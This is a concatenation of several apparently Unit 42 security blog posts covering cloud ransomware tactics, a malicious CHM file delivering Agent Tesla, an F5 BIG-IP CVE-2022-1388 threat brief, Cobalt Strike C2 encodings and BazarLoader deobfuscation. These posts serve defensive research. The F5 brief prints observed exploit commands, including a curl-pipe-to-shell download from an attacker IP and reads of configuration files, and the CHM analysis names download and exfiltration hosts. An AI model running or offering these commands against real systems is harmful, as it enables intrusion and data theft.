Modern cloud-native infrastructure is built with layers of security boundaries, e.g., containers, namespaces, virtual machines, virtual private clouds and account isolation. When possible, create a boundary for each logically separated resource and workload to reduce the impact in case of security accidents.
Privilege Escalation and Lateral Movement
The objective of a ransomware attack is to extort for ransom by disrupting a victim's business operations and causing loss of business revenue. Attackers accomplish this through privilege escalation and lateral movement – techniques that can allow them to gain access to valuable resources.
Traditional lateral movement techniques such as remote service hijacking or alternation bypass can still allow attackers to move laterally in the data plane. For example, attackers may use tools like mimikatz to dump credentials in the compromised VM instance, identify reachable endpoints in the same network and pivot to another VM instance in the same virtual private clouds (VPC). The vulnerabilities that ransomware routinely exploits can allow attackers to escalate privileges or perform remote code execution on the compromised VM instances.
However, the cloud has some additional protections against these vulnerabilities – such as CSPs’ hypervisors or VPC perimeters, which virtually isolate a group of cloud resources. At the time of writing, no known malware exploits vulnerabilities in CSPs’ infrastructure to break out of the security boundary. CSPs are also more diligent in patching and securing their infrastructure than many individual organizations. This means that after attackers compromise a VM instance, they for the most part can’t gain access to other cloud resources outside the security boundaries, unless they find ways into the control plane and pivot using control plane APIs.
As a result, the more concerning way of achieving privilege escalation and lateral movement is through control plane APIs. Attackers could potentially bypass all the security boundaries if they obtained the right credentials. The defense mechanism for securing control-plane APIs is identity and access management (IAM). Every request sent to the control plane needs to be first examined by IAM. Any unauthenticated or unauthorized request will be dropped immediately.
Why Organizations Should Use Strong IAM Policies
IAM is the most critical component that governs the authentication and authorization of every resource in a cloud environment. Put simply: IAM is the first line of defense in most cloud environments. Therefore, a more "cloud native" way of performing privilege escalation and lateral movement in the cloud is through IAM misconfigurations.
Due to cloud infrastructure's complexity and dynamic nature, cloud identities are often overly permissive, meaning that they are granted more permissions than they actually need. We recently analyzed cloud accounts from 200 different organizations and found that nearly all lacked the proper IAM management policy controls to remain secure.
For example, a user who only needs to access one storage bucket may be granted permission to access all the buckets in the same account/subscription. Similarly, a container that only needs to write to a database may also be granted read and delete permissions. Our previous Cloud Threat Report described how misconfigured IAM controls allowed Unit 42 researchers to gain access to source code repositories and many private keys of a multi-million dollar SaaS company.
It is common that combining a set of permissions enables another unintended permission, leading to privilege escalation. For example, suppose a user has permission to:
Access a VM instance.
Modify the identity associated with the instance using actions that can update or impersonate the role associated with the VM.
In that case, the user may associate the VM instance with a more privileged identity and use this instance to gain more privileged permission.
Prior research such as IAM-Vulnerable, GCP Privilege Escalation, and Azure Privilege Escalation identified many vulnerable paths to achieve privilege escalation. Tools like pacu and skyArk can help identify privilege escalation vulnerabilities in IAM – and show organizations where to focus to improve security posture.
This blog focuses on the potential TTPs of ransomware actors in the cloud. The hypothetical attacks demonstrated in the next section assume that the attacker already performed various lateral movement and privilege escalation to gain access to the targeted resources.
Impacts
Ransomware impacts the availability or confidentiality of a targeted system. Attacks like data encryption and system lockout affect availability, and attacks like eavesdropping and data exfiltration affect confidentiality. In a double extortion attack, both availability and confidentiality are impacted. 60% of the top ransomware in 2021 attempted to both encrypt the data and exfiltrate the data.
Figure 2. Impacts of ransomware attacks.
Traditional Ransomware
We consider ransomware that targets Windows or Linux systems in on-premises infrastructure as traditional ransomware, e.g., Ryuk, Maze (ChaCha), Defray777. This type of ransomware attempts to infect many hosts within an organization and then encrypts files on the disk. Traditional ransomware uses file I/O operations to read and write files in the file systems. Any files that can be accessed through file I/O operations are vulnerable to traditional ransomware, including cloud-based file systems remotely mounted to a host such as Network File System (NFS) and Ceph File System (CephFS).
Fortunately, due to the differences in file access methods and architectural design, traditional ransomware is less effective in cloud environments.
Most Cloud Storage Is Accessed Through APIs, Not File Systems
More and more cloud-native applications rely on CSPs’ APIs to access storage resources. Clients and servers can access the storage resources using the same APIs regardless of operating systems or platforms. Applications running on mobile devices, browsers or IoT devices can download/upload any size and type of data. These API-based cloud storage systems are not vulnerable to traditional ransomware because they are not exposed to file systems.
Most Compute Resources Are Immutable and Ephemeral
The design and architecture of cloud-native workloads make them more resilient to traditional ransomware. Compute resources such as VM instances and containers are usually dedicated to running applications, not storing data. Ransomware can still infect these compute resources, but there is no valuable data to encrypt or steal. Furthermore, compute resources are designed to be immutable and ephemeral, meaning that these resources do not change after deployment, and they only “live” for a short time. They are automatically created and deleted by the orchestrator based on the demands of the situation. If an application in a compute resource needs to be updated, a new VM instance or container is deployed to replace the old one. These characteristics make establishing persistence or exfiltrating data from these computer resources difficult for attackers, which contributes to why cloud environments have so far been more resilient against ransomware than on-premises environments.
Cloud-Native Ransomware
Threat actors, however, may develop new TTPs to make it easier for them to launch ransomware attacks in cloud environments. By thinking ahead to what those TTPs might entail, organizations can better prepare to defend against them – and can identify key best practices for improving cloud security posture.
TTPs for cloud ransomware actors would likely focus on finding the cloud resources that contain persistent data such as object storage, block storage and databases, and then on using cloud APIs to access and encrypt that data.
Because the APIs for accessing every cloud service are very different, threat actors might choose to focus on specific services, or they might develop a different payload for each targeted service (as some traditional ransomware actors today have developed payloads targeting different operating systems).
For example, ransomware targeting one CSP’s storage service will be different from ransomware targeting another CSP’s storage service. Ransomware targeting an object storage service will be different from ransomware targeting a database service. Considering the number of different data storage services in each CSP, the good news for organizations is that threat actors would likely need more effort in order to launch a successful ransomware attack in the cloud.
Hypothetical Attack
In this section, we hypothesize a high-level attack scenario. The attack scenario can help us understand the possible TTPs ransomware actors would use in the cloud and create protection strategies against these attacks. The next section will cover several protection and mitigation practices.
For this hypothetical attack, we assume that the attacker gains initial access from a leaked credential and executes the attack using the control plane APIs. Through lateral movement and privilege escalation, the attacker eventually gains access to the targeted data. The attacker then attempts to encrypt the storage resources using the CSP’s data-at-rest encryption capabilities. The data-at-rest encryption is usually managed by the CSPs and transparent to the users, but if the attacker can control the encryption key, they may lock others out of accessing the resources. The attack scenario contains three stages: Create Master Key, Modify Targeted Resource and Hide Master Key, as shown in Figure 3.
Figure 3. Hypothetical attack scenario.
Create Master Key: As data encryption in public clouds is often done by cloud-native key management services, an attacker might start by creating an attacker-controlled master key using the CSP’s key management services. The key can be created in the victim's cloud environment or in the attacker’s cloud environment. In the second case, the attacker must also have the “cross-account” permission to access cloud resources in one account from another account.
Modify Targeted Resource: In the second step, the attacker attempts to use the attacker-controlled key to encrypt the victim's cloud resources. Some cloud resources allow the data-at-rest encryption keys to be changed after the resources have been created, and the existing data will be automatically re-encrypted with the new keys. Some cloud resources do not allow data-at-rest encryption keys to be changed after the resources have been created. The attacker in this case would then create a decrypted data dump (e.g., snapshots), encrypt the data with the attacker-controlled key, and overwrite the original resource.
Hide Master Key: The last step is to hide the attacker-controlled keys from the victims or CSPs. An attacker might remove the keys from the cloud environments and locally store the raw key material that can be used to reconstruct the encryption key.
Protection and Remediation
The root causes of the hypothetical attack scenario were a credential leak and an overly permissive identity. If the victim did not use long-lived credentials, or if the permissions granted to the credential had been more restricted, the attack would not be possible. Most cloud workloads do not need full access to the key management service, nor do they need to update the storage service's data-at-rest keys. As a result, securing identities is the most important step to start securing a cloud environment.
While a comprehensive protection strategy against ransomware attacks is out of the scope of this research, major CSPs have all published guidelines to protect their customers (for example, see guidelines from Azure and GCP). Below is a list of best practices that are CSP-agnostic.
Enforce multi-factor authentication (MFA) for APIs that modify business-critical resources such as database deletion, snapshot deletion and encryption key update.
Use Federated Identity Management (FIM) to centrally manage access control.
Grant each user and identity only the necessary permissions for their jobs. (In other words, follow the principle of least privilege). Tools such as AirIAM and IAM analyzer can help generate least-privilege permissions.
Create backups for business-critical data regularly and automatically.
Create cross-region and cross-account backups to prevent having a single point of failure.
Test and verify the backups regularly.
Shift-left security:
Adopt shift-left security to identify vulnerabilities and misconfigurations as early as possible.
Integrate vulnerability scanner and IaC scanner into every CI/CD pipeline.
Tools such as Checkov can identify insecure configurations in infrastructure as code (IaC) across all major CSPs.
Conclusion
Public clouds offer agile, reliable and scalable storage services that on-premises data centers would find almost impossible to keep up with. As cloud adoption is getting faster and more prevalent, cybercriminals will also find new ways to go after valuable data.
Although we have not seen ransomware groups targeting cloud environments, ransomware attacks are probable and concerning, and the time to consider and prepare for the possibility of ransomware in the cloud is now. Our hypothetical attack demonstrates that control plane APIs could be abused to encrypt data in cloud storage and database.
Overall, we think public clouds are more secure and resilient against ransomware attacks than traditional environments. Centralized APIs, immutable workloads and cloud native-backup services all make protecting cloud resources easier. In a shared responsibility model, users can focus more on the applications, and the CSPs take care of the infrastructure, platform or software, which significantly reduces the attack surface compared to an on-premises data center. With the assistance of Cloud Security Posture Management (CSPM), Cloud Workload Protection Platform (CWPP) or Cloud Infrastructure Entitlement Management (CIEM) solutions, this also makes managing thousands of dynamic cloud workloads feasible.
Unit 42 offers a ransomware readiness assessment that organizations can use to enhance the ability to quickly and effectively respond to a ransomware attack. Cloud incident response services can help address and mitigate cloud security incidents if they do happen.
If you think you may have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call:
North America Toll-Free: 866.486.4842 (866.4.UNIT42)
This blog describes an attack that Unit 42 observed utilizing malicious compiled HTML help files for the initial delivery. We will show how to analyze the malicious compiled HTML help file. We will then follow the chain of attack through JavaScript and multiple stages of PowerShell and show how to analyze them up to the final payload.
The attack is interesting because attackers are often looking for creative ways to deliver their payloads. Their purpose in doing so is twofold:
An attempt to bypass security products.
An attempt to bypass security training.
Potential victims may have been trained to avoid documents, scripts and executables from unknown senders, but it is important to be careful of almost any filetype.
This particular attack chain delivered Agent Tesla as the final payload. Agent Tesla is well-known malware that has been around for a while. Agent Tesla focuses on stealing sensitive information from a victim’s computer and sending that information to the attacker over FTP, SMTP or HTTP. It does this primarily via keystroke logging, screen capturing, camera recording and accessing sensitive data.
Palo Alto Networks customers are protected from malware families using similar anti-analysis techniques with Cortex XDR or the Next-Generation Firewall with WildFire and Threat Prevention security subscriptions.
The initial attack sent a 7zip compressed file named ORDER OF CONTRACT-pdf.7z, which contained the single malicious compiled HTML help file ORDER OF CONTRACT-pdf.chm (SHA256: 081fd54d8d4731bbea9a2588ca53672feef0b835dc9fa9855b020a352819feaa). When the victim opens the help file, this apparently innocuous window displays.
Figure 1. Decoy HTML help window.
The help file can be extracted using 7zip to view the contents. The interesting file is the kkjhk.htm file, which displays the decoy window and executes the code.
Figure 2. The help file contents.
The file contains obfuscated JavaScript that is executed when the file is opened.
Figure 3. Obfuscated JavaScript code in kkjhk.htm.
We can deobfuscate this code by opening the file in Chrome and using the Chrome Developer Tools. The code above shows that the result that is returned is stored in the r variable. We can use the JavaScript debugger in Chrome Developer Tools to break on the return statement. After we have halted execution on our breakpoint we can then view the contents of the r variable and copy that for further analysis.
Figure 4. Debugging kkjhk.htm in Chrome Developer Tools.
The contents of the r variable show the HTML code to display the decoy message and a command to execute PowerShell.
Figure 5. Deobfuscated contents of kkjhk.htm.
Initial PowerShell
The obfuscated PowerShell code is executed in the background when the file is opened.
Figure 6. Initial obfuscated PowerShell.
We can deobfuscate this code so that we can read it more easily by removing the final obfuscated Invoke-Expression cmdlet (IEX()). Attackers often insert backticks into sensitive commands like this to avoid simple string recognition because PowerShell ignores these characters. We can then see that the sample utilizes the PowerShell Test-Connection cmdlet to ping Google to verify connectivity before continuing. The sample then downloads and executes code from http://pk-consult[.]hr/N2.jpg.
Figure 7. Deobfuscated initial PowerShell.
Second Stage
The downloaded content is not actually a jpeg, but rather further PowerShell code that is executed. We can see below that it decompresses and loads several byte arrays in memory.
Figure 8. Second stage.
We can modify the sample simply to output the byte arrays to files by commenting out the execution and writing them to files.
Figure 9. Writing byte arrays to files.
Final Agent Tesla Payload
We are left with a loader DLL in $decompressedByteArray (SHA256: 0fd2e47d373e07488748ac63d9229fdef4fd83d51cf6da79a10628765956de7a) and a gzip compressed Agent Tesla in $vhRo (SHA256: c684f1a6ec49214eba61175303bcaacb91dc0eba75abd0bd0e2407f3e65bce2a). The loader DLL loads Agent Tesla into the RegAsm.exe process to execute.
This Agent Tesla sample uses FTP and connects to ftp.videoalliance[.]ru for data exfiltration.
Conclusion
Malicious actors are often looking for creative or different ways to deliver their malicious payloads. Microsoft Compiled HTML files are another file format that can be abused by malicious actors in addition to the more common document or script delivery methods used. It is important to make sure that users are trained to be careful of any attachments, especially from unknown senders.
3446ec621506d87d372c596e1d384d9fd2c1637b3655d7ccadf5d9f64678681e ORDER OF CONTRACT-pdf.7z 081fd54d8d4731bbea9a2588ca53672feef0b835dc9fa9855b020a352819feaa ORDER OF CONTRACT-pdf.chm 9ba024231d4aed094757324d8c65c35d605a51cdc1e18ae570f1b059085c2454 N2.jpg 0fd2e47d373e07488748ac63d9229fdef4fd83d51cf6da79a10628765956de7a GC.dll c684f1a6ec49214eba61175303bcaacb91dc0eba75abd0bd0e2407f3e65bce2a Agent Tesla dotNet executable
On May 4, 2022, F5 released a security advisory for a remote code execution vulnerability in the iControlREST component of its BIG-IP product tracked in CVE-2022-1388. Threat actors can exploit this vulnerability to bypass authentication and run arbitrary code on unpatched systems. This is a critical vulnerability that needs immediate attention, as it was given a 9.8 CVSS score. Since the release of this advisory, mass scanning activity has started to occur, seeking unpatched systems, and in-the-wild exploitation has begun.
Palo Alto Networks released a Threat Prevention signature for the F5 BIG-IP Authentication Bypass Vulnerability (92570) and within just 10 hours, the signature triggered 2,552 times due to vulnerability scanning and active exploitation attempts.
Unit 42 recommends customers upgrade to the latest release of F5 BIG-IP products. Palo Alto Networks Next Generation Firewall Threat Prevention customers are protected with Signature 92570.
The F5 product vulnerable to CVE-2022-1388 is BIG-IP with the following versions:
16.1.0 - 16.1.2
15.1.0 - 15.1.5
14.1.0 - 14.1.4
13.1.0 - 13.1.4
12.1.0 - 12.1.6
11.6.1 - 11.6.5
The vulnerability exists within the iControl REST framework used by BIG-IP.
Mitigation Actions
We recommend that customers update their F5 BIG-IP deployments to one of the following versions that have patches to mitigate CVE-2022-1388:
17.0.0
16.1.2.2
15.1.5.1
14.1.4.6
13.1.5
Until you can install the patched versions of BIG-IP, see the Mitigation section on the F5 security advisory for information on how to mitigate this vulnerability via a workaround to limit the vulnerable component to trusted networks.
Observed in the Wild
In response to the F5 security advisory, Palo Alto Networks released the Threat Prevention signature F5 BIG-IP Authentication Bypass Vulnerability (92570) on May 9.
We observed this signature triggered 2,552 times between 4:47 and 14:00 UTC on May 10. We were able to analyze 2,151 packets that triggered the signature and observed both vulnerability scanning activity and active exploitation attempts.
Table 1 shows the commands that would be executed in the event of successful exploitation. These were found by analysis of the packet captures that triggered the F5 BIG-IP Authentication Bypass Vulnerability signature.
Count
Command
1954
id
125
cat /config/bigip.conf
24
cat /etc/profile
19
curl -o- -L hxxp://20.239.193[.]47/kele.sh| sh > /dev/null 2>&1 &
Table 1. Commands observed in CVE-2022-1388 exploitation attempts.
Conclusion
Palo Alto Networks customers receive protections against the exploitation of this vulnerability in the following ways:
Next-Generation Firewalls with a Threat Prevention security subscription (running Applications and Threat content update version 8567) can automatically block sessions related to this vulnerability using the F5 BIG-IP Authentication Bypass Vulnerability signature (Threat ID 92570).
Palo Alto Networks will update this Threat Brief with new information and recommendations as they become available.
Cobalt Strike is commercial threat emulation software that emulates a quiet, long-term embedded actor in a network. This actor, known as Beacon, communicates with an external team server to emulate command and control (C2) traffic. Due to its versatility, Cobalt Strike is commonly used as a legitimate tool by red teams – but is also widely used by threat actors for real-world attacks. Different elements of Cobalt Strike contribute to that versatility, including the encoding algorithm that obfuscates metadata sent to the C2 server.
In a previous blog, “Cobalt Strike Analysis and Tutorial: How Malleable C2 Profiles Make Cobalt Strike Difficult to Detect,” we learned that an attacker or red team can define metadata encoding indicators in Malleable C2 profiles for an HTTP transaction. When Cobalt Strike’s Beacon “phones home,” it sends metadata – information about the compromised system – to the Cobalt Strike TeamServer. The red team or attackers have to define how this metadata is encoded and sent with the HTTP request to finish the C2 traffic communication.
In this blog post, we will go through the encoding algorithm, describe definitions and differences of encoding types used in the Cobalt Strike framework, and cover some malicious attacks seen in the wild. In doing so, we demonstrate how the encoding and decoding algorithm works during the C2 traffic communication, and why this versatility makes Cobalt Strike an effective emulator for which it is difficult to design traditional firewall defenses.
There are five encoding schemes supported by Cobalt Strike. The RSA-encrypted metadata is being encoded to easily transfer the ciphered binary data in network protocol.
Figure 1. Encoding schemes in the Cobalt Strike profile.
Base64 Encoding and Decoding
Base64 Encoding and Decoding is a standard Request for Comments (RFC) algorithm implementation. The author has not made any changes to the Base64 Character set. Here is the list of characters used for encoding and decoding the data.
Let's understand the use of the Base64 algorithm in Malleable profiles by studying an example.
1. Profile Metadata
Havex.profile uses Base64 encoding to transform metadata information about compromised systems before sending it. Figure 2 shows the metadata is encoded using the Base64 encoding algorithm and the result is placed in the Cookie header.
Figure 2. Metadata encoding options in the Havex profile.
2. HTTP C2 traffic
Figure 3 shows the HTTP C2 traffic generated from the profiles. The highlighted part is the Base64-encoded metadata about the compromised machine.
Figure 3. HTTP C2 traffic using the Havex profile.
3. Base64 Decoding
Any tool can decode the encrypted metadata. We have used the Python Base64 library to complete the task. Figure 4 shows a sample script to decode the data and print it in hex format.
Here is the decoded data from the script. This is RSA-encrypted metadata about the compromised system: “751990bee317e74e4f2aa6f13078ef22dd884e065b738f8373f49dee401a069d5dfd1d3e39e94cc637e21364e1fd71ab3322fb9c7a987fc6aa27dfab981f077e7ddc2f20aba8e9d841250adc4edd4d15082445869278f2bbcf66e145aa74152a22b85c9b6c5f15d69f7d8b3708b33deea7198683d6468bd0424f537617f759b5”
Figure 4. Sample Python script to decode Base64 data.
Base64URL Encoding and Decoding
Base64URL is a modified version of the Base64 encoding algorithm. The modified version uses URL and filename-safe characters for encoding and decoding. Here is the character set:
Compared to the Standard Base64 character set, the modified version has replaced ‘+’ with ‘-’ and ‘/’ with ‘_’. The Pad character ‘=’ is skipped from the encoded data as it is normally percent-encoded in URI.
Let's understand the use of the Base64URL algorithm in Malleable profiles by studying an example.
1. Profile Metadata
Cnnvideo_getonly.profile uses Base64URL encoding to transform the metadata information. (Note that this profile is an example of mimicking legitimate CNN HTTP traffic and has no connection to the organization.) Figure 5 shows the metadata is encoded using the Base64URL encoding algorithm and appends the data to parameter g.
Figure 5. Metadata encoding in CNN video profile.
2. HTTP C2 traffic
Figure 6 shows the HTTP C2 traffic generated by the Beacon. The parameter value is the Base64URL-encoded metadata about the victim.
Figure 6. HTTP C2 traffic generated using CNN video profile.
3. Base64URL decoding
A user has a couple of options to decode the data.
A user can replace the ‘-’ with ‘+’ and ‘_’ with ‘/’ along with adding a pad character ‘=’. The replaced string becomes standard Base64-encoded data. Then any Base64 decoding tool can be used to get the encrypted metadata.
Use the scripting language to do the job. Figure 7 shows a sample Python script to decode the data. The urlsafe_b64decode instruction only replaces the characters and does not add padding. In the sample, we have added ‘=’ to make the output compatible with Base64 encoding. You can add more padding characters; Python only complains if it sees less padding.
The output of the script is RSA-encrypted metadata. “60495dff002eddaa0c409aaaae0fda592810993ae0ae319c87d62b65c54d92447daf2c1bc84930c5d90ed3a023227e254d3a2c28763be372bb7444ef5719d5948b99d33ede3775f51c216bba97bc5fd4777e819517e89a737284c784bdc30b1d6b3b7debe2448c1dc28b00e3ac611fd5a8fd070502f3f7f672786f6b5787af51”
Figure 7. Python script to decode the Base64URL.
NetBIOS Encoding and Decoding
NetBIOS encoding is used to encode NetBIOS service names. The Cobalt Strike tool uses the same algorithm to encode victim metadata when it is being transferred in C2 communication.
In the NetBIOS encoding algorithm, each byte is represented by two bytes of ASCII characters. Each 4-bit (nibble) of the input byte is treated as a separate byte by right adjusting/zero filling the binary number. This number is then added to the value of ASCII character ‘a’. The resulting byte is stored as a separate byte. Here is the character set used for encoding: [‘a’, ‘b’, ‘c’, ‘d’, ‘e’, ‘f’, ‘g’, ‘h’, ‘i’, ‘j’, ‘k’, ‘l’, ‘m’, ‘n’, ‘o’, ‘p’].
Figure 8 demonstrates the encoding process:
Figure 8. NetBIOS encoding process.
Let's understand the use of the NetBIOS algorithm in Malleable profiles by studying an example.
1. Profile Metadata
Ocsp.profile uses NetBIOS encoding to convert the victim’s metadata. Figure 9 shows the metadata is encoded using the NetBIOS encoding algorithm. The resulting data is appended to the URI.
Figure 9. Metadata encoding in the OCSP profile.
2. HTTP C2 traffic
Figure 10 shows the HTTP traffic generated by the Beacon using the OCSP profile.
Figure 10. HTTP C2 traffic generated using the OCSP profile.
3. NetBIOS decoding
Figure 11 shows a Python implementation to decode the NetBIOS-encoded metadata.
The output of the script is RSA-encrypted metadata about the victim: “5725245edcb589b305e33e02da1cda208ed083bed8a1ae0b3a87da0f9d6ebe31025ab67c58572acb9757288cc2e78bea414249fa8cb0783485a1b5a3c0863501fc1c89c6ac59b7129c51cacbfa197cc64eea31ec8ac204cbcdbefaecf19762f9efcc56280f3e9b183c37f98f371f5e1c08b645524646d7010af4408f4ebb8a2f”
Figure 11. Python script to decode the NetBIOS encoding.
NetBIOSU Encoding and Decoding
The NetBIOSU algorithm is a slightly modified version of the NetBIOS algorithm discussed above. The slight change is the character set used for encoding the algorithm. In this algorithm, the character set is the uppercase version of the set used in the normal NetBIOS algorithm. Here is the set : [‘A’, ‘B’, ‘C’, ‘D’, ‘E’, ‘F’, ‘G’, ‘H’, ‘I’, ‘J’, ‘K’, ‘L’, ‘M’, ‘N’, ‘O’, ‘P’].
NetBIOSU uses the same encoding process as in the NetBIOS algorithm. Please refer to Figure 8 for more information.
Let's understand the use of the NetBIOSU algorithm in Malleable profiles by studying an example.
1. Profile Metadata
Asprox.profile uses NetBIOSU encoding to convert the victim’s metadata. Figure 12 shows the metadata is encoded using the NetBIOSU encoding algorithm. The resulting data is appended to the URI.
Figure 12. Metadata encoding in the asprox profile.
2. HTTP C2 traffic
Figure 13 shows the HTTP traffic generated by the Beacon using the asprox profile, and the highlighted part is the metadata about the victim.
Figure 13. HTTP C2 traffic generated using the asprox profile.
3. NetBIOSU decoding
Figure 14 shows a Python implementation to decode the NetBIOSU-encoded metadata.
The output of the script is RSA-encrypted metadata about the victim. “722676e535f86ffc29ba1cafb9856d98d1f697a83b0afc5bb143e2cf2242152a351081fb837192da3e3b2d9021fab75ce32677b6299a24d15e28db883adb36c5fe448d5eb47014f6d2e72eff389f0176efced60380450c87e2015a8c5de6aa90dc8f105683ac5fd96dc33d4d63da62818facda595910cf9aee10f36fe54d4a6a”
Figure 14. Python script to decode the NetBIOSU encoding.
Mask Encoding and Decoding
The Mask encoding algorithm can be indicated and combined with other encoding algorithms in the Malleable C2 profile, which can be loaded by the TeamServer and used as C2 communication. The Beacon will generate the random four bytes as Mask xor key, then use the Mask key to xor the 128-byte metadata encrypted and send the Mask key and encoded data to the TeamServer for C2 communication, As an example, we walk through the randomized.profile to explain in more detail below.
1. Figure 15 is a partial profile with metadata encoded by Mask and Base64URL. The partial profile below defines the URI and metadata encoding algorithm as Mask and Base64URL, and the encoded metadata will be appended to the URI.
Figure 15. Metadata encoding options in randomized profile.
2. HTTP C2 Traffic
Figure 16 is the C2 traffic based on the Figure 15 profile, so we can reverse the encoding data with the following steps.
From the traffic captured, we know that the entire URI is: /zChN7QMDhftv10Li9Cu-fm_T_3qDQawT-Z1GzNg1FWfAfSILT-u_rKLvXP-RE0ac-pxJTlGFCUIm4Aw9rGHPCIJVl0zNdCbM_G2VkYXJ5GGGtVh8S0LWMM4YLGZD9okLcFBc402j5zESK71HaR_owJb-AVBfFvAo8q0I2J74rmfGyIROyg
Remove the prefix /zC. The remaining value is encoded by Base64URL: hN7QMDhftv10Li9Cu-fm_T_3qDQawT-Z1GzNg1FWfAfSILT-u_rKLvXP-RE0ac-pxJTlGFCUIm4Aw9rGHPCIJVl0zNdCbM_G2VkYXJ5GGGtVh8S0LWMM4YLGZD9okLcFBc402j5zESK71HaR_owJb-AVBfFvAo8q0I2J74rmfGyIROyg
Figure 16. C2 traffic based on randomized profile.
3. Data encoding and decoding
Base64URL encoding and decoding
The Base64URL-encoded data: hN7QMDhftv10Li9Cu-fm_T_3qDQawT-Z1GzNg1FWfAfSILT-u_rKLvXP-RE0ac-pxJTlGFCUIm4Aw9rGHPCIJVl0zNdCbM_G2VkYXJ5GGGtVh8S0LWMM4YLGZD9okLcFBc402j5zESK71HaR_owJb-AVBfFvAo8q0I2J74rmfGyIROyg
The Base64URL-decoded data: 84ded030385fb6fd742e2f42bbe7e6fd3ff7a8341ac13f99d46ccd8351567c07d220b4febbfaca2ef5cff9113469cfa9c494e5185094226e00c3dac61cf088255974ccd7426ccfc6d959185c9e46186b5587c4b42d630ce182c6643f6890b70505ce34da3e731122bbd47691fe8c096fe01505f16f028f2ad08d89ef8ae67c6c8844eca0Using the Python Base64 library, as shown by the code in Figure 17, to decode the Base64URL-encoded data, the decoded hex data length is 132 and the first four bytes, 84ded030, are the Mask xor key. The remaining 128 bytes are the metadata encoded by the Mask xor algorithm.Base64URL decoded Python code:
Figure 17. Base64URL-decoded Python3 code.
Mask encoding and decodingThe Mask key is 84ded030The Mask-encoded data is: 385fb6fd742e2f42bbe7e6fd3ff7a8341ac13f99d46ccd8351567c07d220b4febbfaca2ef5cff9113469cfa9c494e5185094226e00c3dac61cf088255974ccd7426ccfc6d959185c9e46186b5587c4b42d630ce182c6643f6890b70505ce34da3e731122bbd47691fe8c096fe01505f16f028f2ad08d89ef8ae67c6c8844eca0The Mask-decoded data is: bc8166cdf0f0ff723f3936cdbb2978049e1fefa950b21db3d588ac3756fe64ce3f241a1e71112921b0b71f99404a3528d44af25e841d0af6982e5815ddaa1ce7c6b21ff65d87c86c1a98c85bd1591484a9bddcd10618b40fec4e67358110e4eabaadc1123f0aa6a17a52d95f64cbd5c1ebdc5f1a545359df0e38ac5c0c9a3c90
Using the Python code in Figure 18 to decode the Mask-encoded data, the decoded hex data length is 128 bytes. The 128 bytes are the encrypted metadata with an RSA algorithm that will be detailed in a forthcoming piece.
Mask-decoded Python code:
Figure 18. Mask-decoded Python3 code.
Cases in the Wild
The following sections show two different cases of Cobalt Strike payloads found in the wild used by malware. One uses Base64 and the other uses Base64URL encoding. Palo Alto Networks identified them using static and dynamic analysis under the Unit42.CobaltStrike tag in the AutoFocus system.
Cobalt Strike is a potent post-exploitation adversary emulator. The five encoding algorithms detailed above are elaborate and are designed to evade security detections. A single security appliance is not equipped to prevent a Cobalt Strike attack. Only a combination of security solutions – firewalls, sandboxes, endpoints and software to integrate all these components – can help prevent this kind of attack.
Palo Alto Networks customers are protected from this kind of attack by the following:
Malware authors embed multiple anti-analysis techniques in their code to retard the analysis processes of human analysts and sandboxes. However, there are ways defenders can defeat these techniques in turn. This blog post describes two methods for faster analysis of malware that employs two distinctive anti-analysis techniques. The first technique is API function hashing, a known trick to obfuscate which functions are called. The second is opaque predicate, a technique used for control flow obfuscation.
The scripts that we are going to show here can be applied to BazarLoader, as well as other malware families that utilize similar anti-analysis techniques. As an illustration, we will show the IDAPython scripts we created during a recent analysis of BazarLoader with the reverse engineering tool IDA Pro to defeat these anti-analysis techniques. BazarLoader is a Windows backdoor that is used by various ransomware groups.
Palo Alto Networks customers are protected from malware families using similar anti-analysis techniques with Cortex XDR or the Next-Generation Firewall with the WildFire and Threat Prevention security subscriptions.
Reusing Malware Code to Defeat Obfuscated API Calls
Malware compiled as native files has to call Windows API functions to carry out malicious behaviors. The information on which functions are used is usually stored in the Import Address Table (IAT) in the file. Therefore, this table is often a good place to start the analysis process to get an idea of what the malware is trying to do.
To demonstrate, we focused on a BazarLoader sample we recently detected. After peeling away the packer layer of our BazarLoader sample, we saw that it doesn’t have an IAT (see Figure 1). Also, there is no IAT constructed during execution, a technique sometimes seen in other malware. BazarLoader obfuscates its function calls to make analysis more difficult and to evade detection techniques that rely on reading the IAT.
Figure 1. Missing IAT in BazarLoader as seen with CFF Explorer.
In fact, BazarLoader resolves every API function to be called individually at run time. After we figured out that the functions are resolved during execution, the following function caught our attention as it was referenced more than 300 times:
Figure 2. Function for resolving the obfuscated Windows API functions (marked in yellow).
While most pieces of malware rely on publicly known hashing algorithms to resolve the functions’ addresses, the one used by BazarLoader is unique. The API function resolution procedure (sub_18000B9B0, labelled as FN_API_Decoder) requires three parameters and returns the address of the requested function.
Now, we could reverse engineer the algorithm used in FN_API_Decoder and reimplement it in Python to get all functions resolved. However, this would take a lot of time and we would have to repeat the whole process for every piece of malware that uses a different hashing algorithm.
Instead, the approach we used is independent from the hashing algorithm as it makes use of the hashing function itself. For this, we used the Appcall feature with IDAPython in IDA Pro to call FN_API_Decoder and pass it the required parameters. The result from Appcall would be the resolved address of the Windows API function. The Appcall feature used while debugging the malware allows us to execute any function from the sample as if it were a built-in function.
Using the following code, we can run FN_API_Decoder to resolve Windows API function addresses while debugging the malware process.
Figure 3. Using Appcall with IDAPython.
Next, we gathered all the required parameters by looking up all the cross references to FN_API_Decoder. The following code will search and extract the required parameters for resolving the API function calls.
Figure 4. IDAPython code to search and extract the three parameters.
Finally, by using the returned value from Appcall we are able to rename all the dynamic calls to the APIs to their corresponding names and apply comments:
Figure 5. IDAPython code to locate dynamic calls.
Putting the above steps together, we deobfuscated the API function calls:
Figure 6. Before executing the above IDAPython scripts.Figure 7. Renamed API function call with added comment.
After all the API function calls are renamed, we can now easily locate other interesting functions in the malware. For example, sub_1800155E0 is the procedure in BazarLoader that carries out code injection.
Figure 8. Before renaming API calls.Figure 9. Obfuscated API calls labeled with APIs related to code injection.
With the help of our IDAPython scripts, we are now able to faster assess which functionality this BazarLoader sample contains.
Automating Opaque Predicate Removal
Opaque Predicate (OP) is used in BazarLoader to protect it from reverse engineering tools. OP is an expression that evaluates to either true or false at runtime. Malware authors make use of multiple OPs together with unexecuted code blocks to add complexities that static analysis tools have to deal with.
The following disassembled code shows one of the OPs in Bazarloader:
Figure 10. One example of OP in BazarLoader.
From the above control flow graph (CFG), the code flow won’t end up in infinite loops (Figure 10, red code blocks). Therefore, the above OP will be evaluated to avoid the infinite loop.
